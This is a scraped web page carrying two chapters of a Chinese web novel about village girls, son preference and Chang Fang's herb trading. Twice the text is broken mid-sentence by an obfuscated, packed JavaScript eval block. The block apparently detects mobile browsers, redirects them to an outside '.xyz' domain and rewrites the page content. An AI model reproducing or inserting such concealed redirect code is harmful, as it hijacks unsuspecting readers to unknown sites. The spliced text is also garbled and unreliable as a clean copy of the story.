;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907207|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校在这里的话语权非常大,而且有一段时间的校长非常看重升学率,为了让升学率好看,那个时期,很多末位的学生会被要求休学转学,或者降级,所以同林镇很多学生家长都吃过这种苦。 传播中,把学校老师和校长到家里接孩子去读书,放在一开始,吸引人的注意。 后续重点则是她们家因为出了这个大学生而得到了多少好处。 自然不是自己去乡下宣传,现在几个村子对她们敌意太大了,她们去说,人家防备心太重,自然不会当一回事。 现在田里地里的活并不多,正是农闲时节,这个时节大家都要去山里打柴,准备过冬的柴火。 通常这种时候,妇女们都是成群结队,一边打柴,一边说点新鲜事。 这些事情就正好能用上。 没过多久,几个村子都知道了雨兰镇这位改变全家生活的女娃。 云松原本在想如何把隔壁镇的陌生人家的故事深入到大家的生活中。 却不想,她们开了一个头,村子里自然而然地就开始有了新的方向。 村子里并非所有人都在生儿子,也有一些人生了两个女娃后就不生了,或者是生了四五个女儿,不想生了。 对于这个群体来说,这样的事情,本身就能够安抚到她们的情绪。 于是,自己家女孩子能读书的,就会跟人说这个故事。 自己家孩子读书不行的,心里也不甘啊,怎么全村子人都开始做这种美梦了,就她们没有是吧? 那不行。 而这个时候,正好是常芳给自己的三姑送猪肉,大家才意识到,常芳……这个姑娘不得了啊。 那个雨兰镇的女娃,大家都没有见过,可常芳不一样,这个娃儿从小就出名,从小不是在大姨就是在二姨三姑家,那个时候村子里面有些好事的人就会故意去问她“你妈老汉是哪个?” 那个时候,这个娃儿还小,大家一问,她就会傻呼呼地说:“不能说,我妈说了,这件事不要说出去,要不然会被老虎拖走,你们也不要说了。” 后来长大了,就只看到她低着头干活,听说她这么大了,还是没有户口,准备找个婆家,由婆家给她上户口。 明面上大家不说,私下里还是很同情她,没有想到这个娃儿她居然去做生意了,而且还有声有色的。 于是,家里孩子读书不行的,就有了新的对标。 “也不只是读书这一条路,张家那个不给上户口的常芳,也没有读过两年书,现在在做生意了,不仅把自己妹妹送到镇上幼儿园读书,还给自己的姑姨买了猪肉。” “说起来,她好像只给她三姑和大姨送了猪肉吧?” “这要怪就怪她自己爹妈不当人,这么好的闺女,要是好好养着,说不一定就跟雨兰镇那个女娃一样了。” 这些在打柴的时候,做胡豆瓣酱的时候,流传在大人们嘴里的话,也被孩子们听进了心里。 于是,同林镇家里不上户口的女娃子现在吵架又有了新的攻击方式了—— “你们等着,等我有了钱,我一分钱都不会给你们!” 像常芳那样! 49.她们说我能诅咒人(十八) 第四十八章 同林镇这一代的女娃本身就和常芳的三姑那一代不一样。 村子里好多人家外面的墙上就是明晃晃地喷着“生儿生女都一样,女儿也是传后人。” 村子里也有不少跟着国家走的村民,能够顶住外界的压力,只剩一个女儿或者就两个女儿。 比如说三里村的女孩们就都知道梅家有个梅悦,她们家就她一个女娃。 老麻村的女娃们则是知道河坝上面那户人家,家里只有两个女儿,但送两个女儿都读书。 这些人,在村子里大人口中就是“不晓得她们在想什么?以后女儿大了,嫁人了怎么办?”“招上门女婿也不好,毕竟女婿只是半个儿子,半个儿子哪有自己儿子贴心。”“等他们老了就晓得厉害了。” 这些话,自然不会避着家里的孩子,可这些话,听在家里那个为了追生儿子而超生下来没有户口的女孩耳里,会完全变了样—— 有人能够不追儿子,对女儿也很好。哪怕被人这样说,依旧对女儿好。 尤其是这些人就在自己村子里,每天都能看到,能看到人家去山里打柴,父母背篓里有一个带盖的搪瓷茶杯,她们这些半大的娃儿在打柴的时候喜欢摘桑葚,人家父母也跟着摘,说是家里娃儿喜欢。 她们割猪草回家的时候,看到的就是放学回家和她们差不多大的女娃正在拿着勺子吃茶杯里的桑葚。 这怎么能不让人羡慕? “要是我能遇到那种父母就好了。”“为什么我爸妈不能像那样呢?” 当大人们不断地说着“你要让着弟弟,要不是为了生你弟弟,怎么可能生你?”的时候,这一代女娃和上一代的选择就不一样了,这一代就会选择在心里埋怨父母。 ——为什么自己的父母不能像梅悦的父母那样呢?为什么一定要追生儿子呢?那些没有追生儿子的人家,也不是过不下去啊?而且自己干的活比弟弟多得多,凭什么就觉得女儿没有用? 那些爱女儿的家庭,在自己完全不知道的情况下,也给村子里其他女孩提供了一个生命的落脚点。 而现在,大人们开始说着雨兰镇的故事,说着常芳的故事,一小部分大人回到自己家,看着家里这些个孩子,三个女儿一个儿子,原本只想考这个儿子,现在想想别人家,不免心里头也有了一些想法。 这种家庭的孩子们年纪都小,于是就有想法,看看送去读书,能不能撞个大运。 而另一部分大人则不一样,家里超生的女儿都十几岁了,读书也不行,人还死犟死犟。 大人们便教育这种半大的孩子:“看看别人家的娃儿,都是吃饭长大的,怎么就这么争气?再看看你们,没一个省心的。” 家里女娃长这么大,会自然而然地把雨兰镇的花京带入到村子里那些读过书的女孩身上,说道:“那是她家里愿意供她读书啊,要是她读不了书,她肯定就没有那么钱了。” “常芳也没有读书,现在也有出息。” “常芳姐姐是我的榜样,现在有出息,我以后也要像她一样有出息,她爹妈肯定后悔死了,常芳姐姐有出息了也不管她爹妈,因为她爹妈不让她读书,不养她,对她不好,所以她不管她们。” 这话换来了一顿打。 打完了以后,父母也只能得到:“你们对我不好,户口不给我上,读书也不让我读,今天早上弟弟有鸡蛋,我连鸡蛋都没有!我以后有出息了,我绝对不会管你们。” 女娃吼得很大声,这个年纪的孩子到底还是希望父母能对自己好一点,控诉的背后,每个字都是在提醒自己不孝顺是因为待遇不好,每个字都是在说只要对我好一点,好一点我有出息就一定会对你们好。 可惜大人们听不懂,大人们只能听到不孝顺。 晚上,两口子睡觉的时候,越想越睡不着觉。 “现在的女娃听那些事情听多了,把心听大听野,一个二个的,都觉得自己不得了,我们给少了一点就记仇,我倒是不怕她以后有出息不管我们,她那个样子能有什么出息?主要还是觉得她心越来越野了,咱们哪点对不起她了?她一点事就要记仇,我心里想到这个事情就难受!” 这个娃儿感觉像是白养了,有些时候真恨不得直接掐死了算了。 “要不然把她送去你妈屋头?” “不行,她走了,谁割猪草打柴喂猪?家里这么忙。” 夫妻两翻来覆去睡不着,恨不得起身去把人打一顿,可现在她们也知道,打一顿没有用,这个孩子歪理越来越多。 另一边,门角偷听的人突然就有了歪主意。 第二天,家里猪没有人喂了。 这些有劳动力的半大孩子决定自己全天挖药材。 “在哪儿干活不是干活?”在家里干再多也没有钱,还不如挖药材自己挣钱,万一不行,后面自己挣了钱给自己上户口。 这些十几岁的孩子早就知道,父母是准备把自己嫁出去再上户口。 现在她们有来钱的方式了,她们不想那样。 于是整个村子更加乱了。 云松是真的很想把控一下整个事态发展方向,但她们就是起了个头,然后后面的事情已经完全不受控制了。 不过,云松知道村子里人议论常芳后,还是嘱咐了常芳。 “之前大家只知道你在卖药材,不知道药材这么挣钱,现在知道了,肯定会有人来打你的主意。” 不是云松恶意猜测,主要是在城里见多了这种情况。 “平时尽量早点回学校这边,有事出去要跟我们说。” 学校这边就是这点好,安全,但白天就说不准了。 她们在城里面处理的事情中,最多的就是两家做生意,抢客人,最后大打出手。 这也是云松知道常芳作为同林镇人,如果宣传用她肯定效果更好,但云松没有用的缘故。 “啊?他们怎么打我的主意?来抢我的药材吗?” “以前我在城里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914212|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遇到过眼红别人挣了钱,最后情绪上头,拿刀捅人的情况。后面你不要一个人去村子里,我们平时也要上去,每次都跟我们一起去。”云松没有把常芳当小孩子看了,直接把可能有的最坏情况说了出来。 常芳点了点头,表示自己会听话。 常芳这两天真高兴呢,她这两天只要回到村子里面,无论是谁见了她都会跟她打招呼,说她现在在做生意,都知道给家里买肉了,然后就是打听她能赚多少钱。 她每次都美滋滋的,可还是有谦虚的本能:“没多少啦。” “听说你都让你妹妹在镇上读幼儿园了,这要一大笔钱吧?” “没要太多钱,我们是半场入学,而且那个钱是我之前捡的金蝉花挣的钱,金蝉花比较贵,但少,后面就没有这个药材了。” “那你们这些药材多少钱一斤啊?”村子里的大人也要面子,于是就找了个理由,道:“我看我女儿前段时间都在弄那个老虎姜,这个能卖多少钱?” 常芳没有理解大人要面子的那一套弯弯绕绕,还真以为对方是来打听自己孩子弄的那些东西挣到了钱没有。 常芳虽说是大人,可她心里还是偏向孩子,她怕自己说出来以后这些大人会回去找孩子们要钱,于是说道:“挣不了几个钱,很多药材晒干了也就一两毛钱一斤。而且山里也没有多少药材,我在村子里面收,很多孩子都只拿得出几斤来,最后也就几毛钱。” 她这样说了以后,大人们半信半疑。 “这么不挣钱吗?” “怎么可能?你别看她看着老实本分,实际上做生意的人,肯定精得很。” 毕竟常芳给妹妹上幼儿园是真的,给家里买猪肉也是真的。 常芳的大表哥知道了这件事,他心里头异常不甘心。 和其他人不一样,常芳有钱了,很多人都只是惊讶,但大表哥不一样,过去常芳可是在他家里寄人篱下,他觉得对方还害死了他弟弟,现在常芳日子却越过越好,他心里自然不甘。 他就去镇上打听了药材的价格,一打听才知道,有些药材能卖到两块钱一斤,现在是农闲时节,于是大表哥也开始来挖药材卖药材了。 可是哪有那么简单? 山里比较多的药材是苦蒿,野菊花这些一年草本植物,但这些药材便宜啊,从山里面挖回来,晒干了几毛钱一斤,而且已经被孩子们被搜罗了一遍又一遍了,现在已经没多少了。 还有一些药材贵一点,可是都是几年才能长成,背着背篓在山里忙活一天下来,也就几斤,最后晒干了还卖不到10块钱。 可问题是,大表哥现在在村子里帮人砌房子打零工,一天都有十二块钱,还包两顿饭。 这挖药材还不如去打小工。 孩子们能满足这样的收获,毕竟没有人会花十块钱请这些半大的孩子去干活,可大表哥是抱着挣大钱入场的,怎么可能满足? 而这个时候,他便去找了常芳的父母,他的小姨和小姨夫。